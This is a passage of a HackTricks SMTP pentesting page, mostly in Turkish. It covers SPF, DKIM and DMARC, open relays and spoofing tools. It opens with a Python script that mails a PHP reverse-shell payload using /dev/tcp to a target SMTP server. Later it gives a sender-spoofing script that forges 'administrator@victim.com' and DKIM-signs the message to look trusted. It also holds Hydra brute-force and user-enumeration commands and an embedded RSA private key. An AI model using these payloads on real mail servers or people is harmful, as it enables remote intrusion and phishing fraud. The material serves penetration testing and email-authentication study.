lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin veriyordu (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için bakınız:

<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Mail Spoofing Karşı Önlemleri

SMTP mesajlarını spoofing ile kolayca taklit etme olasılığı nedeniyle, kuruluşların adına yetkisiz e-posta gönderilmesini önlemek için **SPF**, **DKIM** ve **DMARC** kullanılır.

Bu karşı önlemlere dair **tam bir rehber** şu adreste mevcuttur: [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). This means that instead of creating a **TXT record** in `_spf.domain.com` you create it in `domain.com` using the **same syntax**.\
> Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF), Mail Transfer Agents (MTAs)'in bir e-postayı gönderen hostun yetkili olup olmadığını, kuruluşlar tarafından tanımlanmış yetkili posta sunucuları listesini sorgulayarak doğrulamasını sağlayan bir mekanizmadır. Bir alan adı adına e-posta göndermeye yetkili IP adreslerini/aralıklarını, domainleri ve diğer varlıkları belirten bu liste, SPF kaydında çeşitli **Mekanizmalar** içerir.

#### Mekanizmalar

Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Mechanism | Açıklama                                                                                                                                                                                                                                                                                                                          |
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Her zaman eşleşir; önceden eşleşmeyen tüm IP'ler için varsayılan bir sonuç olarak `-all` gibi kullanılır.                                                                                                                                                                                                                         |
| A         | Eğer domain adının bir address kaydı (A veya AAAA) varsa ve bu kayıt gönderenin adresine çözümlenebiliyorsa, eşleşir.                                                                                                                                                                                                               |
| IP4       | Gönderen belirtilen IPv4 adres aralığında ise eşleşir.                                                                                                                                                                                                                                                                            |
| IP6       | Gönderen belirtilen IPv6 adres aralığında ise eşleşir.                                                                                                                                                                                                                                                                           |
| MX        | Domain adının MX kaydı gönderenin adresine çözümleniyorsa eşleşir (yani posta, domainin gelen posta sunucularından birinden geliyordur).                                                                                                                                                                                            |
| PTR       | Eğer istemcinin adresi için domain adı (PTR kaydı) verilen domain içindeyse ve o domain adı istemcinin adresine çözümleniyorsa (forward-confirmed reverse DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır.                                                                                                           |
| EXISTS    | Verilen domain adı herhangi bir adrese çözümleniyorsa eşleşir (çözümlendiği adrese bakılmaksızın). Bu nadiren kullanılır. SPF makro dili ile birlikte daha karmaşık eşleşmeler (örn. DNSBL sorguları) sunar.                                                                                                                         |
| INCLUDE   | Başka bir domainin politikasına referans verir. Eğer o domainin politikası PASS dönerse, bu mekanizma PASS olur. Ancak dahil edilen politikanın sonucu FAIL olursa işlem devam eder. Tam yetki devri için redirect uzantısı kullanılmalıdır.                                                                                        |
| REDIRECT  | <p>Redirect, bir SPF politikasına sahip başka bir domain adını işaret eden bir işaretçidir; aynı SPF politikasını birden çok domainin paylaşmasına olanak tanır. Çok sayıda domainin aynı e-posta altyapısını paylaştığı durumlarda kullanışlıdır.</p><p>Redirect mekanizmasında belirtilen domainin SPF politikası kullanılacaktır.</p> |

Ayrıca, bir mekanizma eşleştiğinde ne yapılması gerektiğini belirten **Niteleyiciler (Qualifiers)** tespit etmek de mümkündür. Varsayılan olarak **niteleyici "+"** kullanılır (yani herhangi bir mekanizma eşleşirse izin verilmiş demektir).\
Her SPF politikasının sonunda genellikle **\~all** veya **-all** gibi ifadeler görürsünüz. Bu, **gönderen herhangi bir SPF politikasına uymuyorsa**, e-postanın güvensiz olarak işaretlenmesi (\~) veya reddedilmesi (-) gerektiğini belirtmek için kullanılır.

#### Niteleyiciler

Her politika içindeki mekanizma, amaçlanan sonucu tanımlamak için dört niteleyiciden biriyle öneklenebilir:

- **`+`**: PASS sonucuna karşılık gelir. Varsayılan olarak mekanizmalar bu niteleyiciyi varsayar; bu yüzden `+mx`, `mx` ile eşdeğerdir.
- **`?`**: NEUTRAL sonucunu temsil eder, NONE (belirli bir politika yok) ile benzer şekilde ele alınır.
- **`~`**: SOFTFAIL anlamına gelir; NEUTRAL ile FAIL arasında bir ara durumdur. Bu sonucu alan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir.
- **`-`**: FAIL anlamına gelir; e-postanın açıkça reddedilmesi önerilir.

Aşağıdaki örnekte **google.com'un SPF politikası** gösterilmiştir. İlk SPF politikasının içinde farklı domainlerin SPF politikalarının dahil edildiğine dikkat edin:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Geleneksel olarak, doğru bir SPF kaydı olmayan veya hiç SPF kaydı bulunmayan herhangi bir alan adı taklit edilebiliyordu. Günümüzde, eğer e-posta geçerli bir SPF kaydı olmayan bir alan adından geliyorsa muhtemelen otomatik olarak reddedilecek/şüpheli olarak işaretlenecektir.

To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM, giden e-postaları imzalamak için kullanılır; bu, domainin açık anahtarının DNS’ten alınması yoluyla dış Mail Transfer Agents (MTAs) tarafından doğrulanmalarını sağlar. Bu açık anahtar bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem selector hem de alan adının bilinmesi gerekir.

Örneğin, anahtarı sorgulamak için domain adı ve selector gereklidir. Bunlar mail başlığında DKIM-Signature içinde bulunabilir, örn. d=gmail.com;s=20120113.

Bu bilgiyi almak için bir komut şöyle görünebilir:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Alan Tabanlı Mesaj Doğrulama, Raporlama ve Uyum)

DMARC, SPF ve DKIM protokollerinin üzerine inşa edilerek e-posta güvenliğini artırır. Belirli bir alan adına ait e-postaların işlenmesinde mail sunucularına yol gösteren politikaları tanımlar; kimlik doğrulama başarısızlıklarının nasıl ele alınacağı ve e-posta işleme eylemleriyle ilgili raporların nereye gönderileceği dahil.

DMARC kaydını almak için, _dmarc alt alan adını sorgulamanız gerekir

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC etiketleri

What about Subdomains?

Kaynak here.
E-posta göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.
Aşağıdakiler orijinal olarak openspf.org’da yayınlanmıştır; bu tür konular için harika bir kaynaktı.

The Demon Question: What about subdomains?

If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”

Bu mantıklı — bir alt alan farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.

Open Relay

E-postalar gönderilirken spam olarak işaretlenmemelerini sağlamak kritiktir. Bu genellikle alıcı tarafından güvenilen bir relay sunucusu kullanımıyla sağlanır. Ancak, yaygın bir sorun yöneticilerin hangi IP aralıklarının izin verilmesi güvenli olduğunu tam olarak bilmiyor olmalarıdır. Bu anlayış eksikliği SMTP sunucusunu yapılandırırken hatalara yol açabilir ve güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.

Bazı yöneticilerin e-posta teslim sorunlarından kaçınmak için, özellikle potansiyel veya mevcut müşterilerle iletişimde, kullandığı bir çözüm, herhangi bir IP adresinden gelen bağlantılara izin vermektir. Bu, SMTP sunucusunun mynetworks parametresini tüm IP adreslerini kabul edecek şekilde yapılandırarak yapılır, aşağıda gösterildiği gibi:

mynetworks = 0.0.0.0/0

Bir mail sunucusunun open relay (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir) olup olmadığını kontrol etmek için genellikle nmap aracı kullanılır. Bu amaçla tasarlanmış özel bir script içerir. Örneğin IP’si 10.10.10.10 olan bir sunucuda port 25’te ayrıntılı (verbose) tarama gerçekleştirmek için nmap komutu şudur:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Araçlar

• https://github.com/serain/mailspoof SPF ve DMARC yanlış yapılandırmalarını kontrol et
• https://pypi.org/project/checkdmarc/ SPF ve DMARC yapılandırmalarını otomatik olarak al

Spoof E-posta Gönder

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

Veya bir araç kullanabilirsiniz:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

dkim python lib kullanırken anahtarı ayrıştırırken herhangi bir hata alırsanız, aşağıdaki anahtarı kullanabilirsiniz.
NOTE: Bu, openssl private key bir nedenle dkim tarafından ayrıştırılamıyorsa hızlı kontroller yapmak için uygulanmış geçici bir çözümdür.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Veya bunu manuel olarak yapabilirsiniz:

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Daha fazla bilgi

Bu korumalar hakkında daha fazla bilgi için şuraya bakın https://seanthegeek.net/459/demystifying-dmarc/

Diğer phishing göstergeleri

• Alan adının yaşı
• IP adreslerine işaret eden bağlantılar
• Bağlantı manipülasyonu teknikleri
• Şüpheli (alışılmadık) ekler
• Bozuk e-posta içeriği
• Mail başlıklarındakilerden farklı olan değerler
• Geçerli ve güvenilir bir SSL sertifikasının varlığı
• Sayfanın web içerik filtreleme sitelerine gönderilmesi

Exfiltration through SMTP

Eğer SMTP üzerinden veri gönderebiliyorsanız read this.

Config file

Postfix

Genellikle, yüklüyse, /etc/postfix/master.cf dosyası, örneğin bir kullanıcıya yeni bir e-posta geldiğinde çalıştırılacak betikleri içerir. Örneğin flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} satırı, kullanıcı mark’e yeni bir posta alındığında /etc/postfix/filtering’in çalıştırılacağını belirtir.

Other config files:

sendmail.cf
submit.cf

Referanslar

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
• 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM (https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
• https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/

HackTricks Otomatik Komutlar

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.